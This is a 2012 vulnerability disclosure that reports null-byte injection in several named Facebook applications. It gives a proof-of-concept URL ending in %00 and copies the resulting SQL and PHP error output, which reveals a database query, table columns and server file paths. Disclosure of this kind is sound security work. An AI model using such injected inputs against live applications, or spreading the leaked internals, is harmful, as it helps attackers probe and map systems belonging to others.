Title ===== Facebook Application Null Byte Injection Date ==== 25/01/2012 Author ====== Bug === Null Byte Injection Introduction ============ The application is currently included and viewable by all facebook users. Facebook is a social networking service and website launched in February 2004, operated and privately owned by Facebook, Inc. As of July 2011, Facebook has more than 750 million active users. Users may create a personal profile, add other users as friends, and exchange messages, including automatic notifications when they update their profile. Facebook users must register before using the site. Additionally, users may join common-interest user groups, organized by workplace, school or college, or other characteristics. (Copy of the Vendor Website: http://en.wikipedia.org/wiki/Facebook) Vulnerability ============= Once you open the link, there will be an error like e.g, SQL error. - http://apps.facebook.com/chev_test_fre/ - http://apps.facebook.com/worldwide_dev/ - http://apps.facebook.com/morgans_test/ - http://apps.facebook.com/chev_test_ita/ Exploitation Technique ====================== Remote Injectable (Proof Of Concept) ============================= - http://apps.facebook.com/chev_test_ita/%00 SQL Error Logs ============== Warning (512): SQL Error: 1048: Column 'language_id' cannot be null [CORE/cake/libs/model/datasources/dbo_source.php, line 681] Code | Context $out = null; if ($error) { trigger_error('' . __('SQL Error:', true) . " {$this->error}", E_USER_WARNING); $sql = "INSERT INTO `actions` (`language_id`, `fb_id`, `src`, `dest`, `details`, `created`) VALUES (NULL, 0, '', '/contests/index', '{type:\"hit\"}', '2012-01-25 00:33:17')" $error = "1048: Column 'language_id' cannot be null" $out = null Query: INSERT INTO `actions` (`language_id`, `fb_id`, `src`, `dest`, `details`, `created`) VALUES (NULL, 0, '', '/contests Warning (2): require(webroot/css/main-.css) [function.require]: failed to open stream: No such file or directory [APP/views/layouts/facebook.ctp, line 36] Code | Context Fatal error: require() [function.require]: Failed opening required 'webroot/css/main-.css' (include_path='/var/www/html/chev_dale_ita:/var/www/html/chev_dale_ita/app/:.:/usr/share/pear:/usr/share/php') in /var/www/html/chev_dale_ita/app/views/layouts/facebook.ctp on line 36 Severity ======== High Risk ==== As data is parsed, an injected NULL character or NULL byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted.